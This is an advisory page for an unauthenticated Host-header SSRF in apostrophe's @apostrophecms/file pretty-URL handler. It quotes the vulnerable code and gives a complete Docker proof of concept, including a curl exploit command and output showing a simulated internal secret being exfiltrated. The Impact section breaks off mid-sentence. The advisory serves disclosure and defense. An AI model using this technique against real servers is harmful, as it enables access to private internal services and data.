low

CVE-2026-53607

npm · apostrophe

Summary

@apostrophecms/file pretty-URL Vulnerable to Unauthenticated SSRF via Host header

Severity
low
CVSS
3.7
EPSS
0.2% (p13)
CWE
CWE-918
Also known as
GHSA-34pj-2622-jvxq
Published
2026-07-31
Updated
2026-07-31

Advisory details

Summary

When prettyUrls: true is enabled on @apostrophecms/file (a documented SEO feature for serving uploaded files at clean URLs), the public pretty-URL handler builds the upstream URL using the raw Host HTTP request header:

proxyUrl = `${req.protocol}://${req.get('host')}${uglyUrl}`

That URL is then fetch'ed and the response body + headers are streamed straight back to the requester. Because Host is fully attacker-controlled, an unauthenticated remote attacker can pivot the apostrophe process to issue outbound HTTP requests against any host it can reach on the private network. The path component is constrained to /uploads/attachments/<cuid>-<slug>.<ext> (built from a local-DB lookup), which keeps the impact narrow: cross-instance data exfiltration is neutralised by cuid uniqueness, but blind-SSRF residuals remain (network-topology mapping via response-code / timing differences and verbose proxy/WAF 404 body disclosure). Verified on apostrophe@4.30.0 (latest); no fixed release exists.

Details

modules/@apostrophecms/file/index.js (excerpt; the public GET route registered when prettyUrls: true):

if (!self.options.prettyUrls) return;
return {
  get: {
    async [`${self.options.prettyUrlDir}/*`](req, res) {
      const matches = (req.params[0] || '').match(/^([^.]+)\.\w+$/);
      if (!matches) return res.status(400).send('invalid');
      const [ , slug ] = matches;
      if (slug.includes('..') || slug.includes('/')) {
        return res.status(403).send('forbidden');
      }
      const file = await self.find(req, {
        slug: `${self.options.slugPrefix}${slug}`
      }).toObject();
      if (!file) return res.status(404).send('not found');

      const uglyUrl = self.apos.attachment.url(file.attachment, { prettyUrl: false });
      const proxyUrl = uglyUrl.startsWith('/')
        ? `${req.protocol}://${req.get('host')}${uglyUrl}`   // <-- sink
        : uglyUrl;
      return await streamProxy(req, proxyUrl, { error: self.apos.util.error });
    }
  }
};

lib/stream-proxy.js (excerpt):

module.exports = async function(req, url, { error }) {
  const res = req.res;
  if (url.startsWith('/')) url = `${req.baseUrl}${url}`;
  let response;
  try { response = await fetch(url); }       // <-- attacker-steered fetch
  catch (e) { return send502(e); }
  for (const header of ['content-type','etag','last-modified','content-disposition','cache-control']) {
    const v = response.headers.get(header);
    if (v != null) res.header(header, v);
  }
  res.status(response.status);
  response.body.pipeTo(new WritableStream({ write(c){ res.write(c) }, close(){ res.end() }, ... }));
};

req.get('host') returns the unvalidated Host HTTP header from the request. Express does not validate or restrict it, and apostrophe does not check the constructed proxyUrl against an allowlist. The upstream's body and content-type are forwarded verbatim — so any response the targeted host does return at the constrained path will reach the attacker. In practice the path constraint (/uploads/attachments/<cuid>-<slug>.<ext>) and cuid uniqueness mean meaningful body exfiltration only occurs against verbose-404 / banner- leaky proxies; against most internal services this degenerates to blind SSRF (response-code + timing side channels).

Prerequisites are minimal: prettyUrls: true (a documented production SEO option) + at least one file uploaded with a known slug. Slugs are publicly enumerable in normal CMS use (file URLs appear in page content).

Distinct from the only published apostrophe SSRF advisory, GHSA-pr28-mf3q-qpg6 ("Authenticated SSRF in rich-text widget import via @apostrophecms/area validate-widget"), which is authenticated and lives in a completely different module/route. This finding is unauthenticated, in @apostrophecms/file, via the Host header.

PoC

Three services on an isolated Docker network: mongo, internal (returns a fake secret, never exposed to the host), apos:3000 (the only port the host can reach). The host attacker proves it cannot reach internal directly, then exfiltrates internal's response via one crafted request to apos.

app.js (normal apostrophe site, documented option only):

require('apostrophe')({
  shortName: 'apos-ssrf-poc',
  autoBuild: false,
  modules: {
    '@apostrophecms/express': { options: { session: { secret: 'x' }, port: 3000 } },
    '@apostrophecms/db': { options: { uri: process.env.APOS_MONGODB_URI } },
    '@apostrophecms/asset': { options: { autoBuild: false, publicBundle: false, watch: false, hmr: false } },
    '@apostrophecms/file': { options: { prettyUrls: true, prettyUrlDir: '/files' } },
    'poc-seed': {}   // seeds one file doc on boot (= what an admin does via the upload UI)
  }
});

docker-compose.yml:

services:
  mongo: { image: mongo:7, networks: [poc] }
  internal:
    image: python:3.12-slim
    command: ["python","-c","import http.server,socketserver\nclass H(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200);self.send_header('content-type','text/plain');self.end_headers()\n        self.wfile.write(b'INTERNAL_SECRET=AKIA_simulated_aws_key_REDACTED;DB_PASS=hunter2\\n')\nsocketserver.TCPServer(('0.0.0.0',80),H).serve_forever()"]
    networks: [poc]
  apos:
    build: .
    environment: { APOS_MONGODB_URI: mongodb://mongo:27017/apos-ssrf-poc }
    depends_on: [mongo, internal]
    ports: ["3000:3000"]
    networks: [poc]
networks: { poc: { driver: bridge } }

exploit.sh (unauthenticated attacker on the host):

# 1. Prove the internal target is not reachable from the host
curl --max-time 2 -s http://internal/ || echo "(unreachable, as expected)"

# 2. ATTACK: same pretty URL, attacker-supplied Host header
curl -sS -H 'Host: internal' "http://127.0.0.1:3000/files/poc.pdf"

Build & run:

docker compose build && docker compose up -d && ./exploit.sh

Observed output (apostrophe@4.30.0, clean stack):

[probe] confirm the internal target is NOT reachable from the host:
curl: (6) Could not resolve host: internal
[normal] same pretty URL, normal Host header (Host: apos):
HTTP=502 bytes=49 content-type=text/html; charset=utf-8
upstream media error fetching data for pretty URL

[ATTACK] pretty URL with attacker-supplied Host header pointing at the private 'internal' service:
HTTP=200 bytes=64 content-type=text/plain; charset=utf-8
[ATTACK] response body received by the attacker:
INTERNAL_SECRET=AKIA_simulated_aws_key_REDACTED;DB_PASS=hunter2

RESULT: VULNERABLE — unauthenticated attacker exfiltrated private internal data via apostrophe's @apostrophecms/file pretty-URL SSRF (Host-header injection).

The internal service is unreachable from the host, but apostrophe fetches it on the attacker's behalf and pipes the response body — secret included — straight back over the same HTTP response.

Impact

Unauthenticated remote SSRF, but the path component is constrained to /uploads/attachments/<cuid>-<slug>.<ext> (built from a local-DB lookup on a slug the attacker already had to know). That constraint plus cuid uniqueness rules out the cases I originally listed:

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.